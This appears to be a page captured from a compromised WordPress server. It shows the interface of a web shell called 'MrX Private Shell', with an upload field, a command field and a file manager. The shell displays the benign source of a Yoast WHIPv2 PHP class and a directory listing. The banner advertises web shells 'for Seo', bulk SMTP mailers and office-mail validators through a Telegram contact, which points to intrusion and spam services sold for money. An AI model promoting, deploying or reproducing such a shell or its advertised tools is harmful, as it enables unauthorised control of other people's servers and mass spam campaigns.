__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Yoast\WHIPv2;

use Yoast\WHIPv2\Interfaces\Message;
use Yoast\WHIPv2\Messages\NullMessage;

/**
 * Manages messages using a global to prevent duplicate messages.
 */
class MessagesManager {

	/**
	 * MessagesManager constructor.
	 */
	public function __construct() {
		if ( ! \array_key_exists( 'whip_messages', $GLOBALS ) ) {
			$GLOBALS['whip_messages'] = array();
		}
	}

	/**
	 * Adds a message to the Messages Manager.
	 *
	 * @param Message $message The message to add.
	 *
	 * @return void
	 */
	public function addMessage( Message $message ) {
		$whipVersion = require __DIR__ . '/Configs/version.php';

		$GLOBALS['whip_messages'][ $whipVersion ] = $message;
	}

	/**
	 * Determines whether or not there are messages available.
	 *
	 * @return bool Whether or not there are messages available.
	 */
	public function hasMessages() {
		return isset( $GLOBALS['whip_messages'] ) && \count( $GLOBALS['whip_messages'] ) > 0;
	}

	/**
	 * Lists the messages that are currently available.
	 *
	 * @return array<Message> The messages that are currently set.
	 */
	public function listMessages() {
		return $GLOBALS['whip_messages'];
	}

	/**
	 * Deletes all messages.
	 *
	 * @return void
	 */
	public function deleteMessages() {
		unset( $GLOBALS['whip_messages'] );
	}

	/**
	 * Gets the latest message.
	 *
	 * @return Message The message. Returns a NullMessage if none is found.
	 */
	public function getLatestMessage() {
		if ( ! $this->hasMessages() ) {
			return new NullMessage();
		}

		$messages = $this->sortByVersion( $this->listMessages() );

		$this->deleteMessages();

		return \array_pop( $messages );
	}

	/**
	 * Sorts the list of messages based on the version number.
	 *
	 * @param array<Message> $messages The list of messages to sort.
	 *
	 * @return array<Message> The sorted list of messages.
	 */
	private function sortByVersion( array $messages ) {
		\uksort( $messages, 'version_compare' );

		return $messages;
	}
}

Filemanager

Name Type Size Permission Actions
Configs Folder 0775
Exceptions Folder 0775
Facades Folder 0775
Interfaces Folder 0775
Messages Folder 0775
Presenters Folder 0775
Configuration.php File 1.58 KB 0775
Host.php File 2.67 KB 0775
MessageDismisser.php File 1.66 KB 0775
MessageFormatter.php File 839 B 0775
MessagesManager.php File 1.92 KB 0775
RequirementsChecker.php File 4.68 KB 0775
VersionRequirement.php File 3.76 KB 0775
WPDismissOption.php File 997 B 0775
WPMessageDismissListener.php File 1.76 KB 0775
Filemanager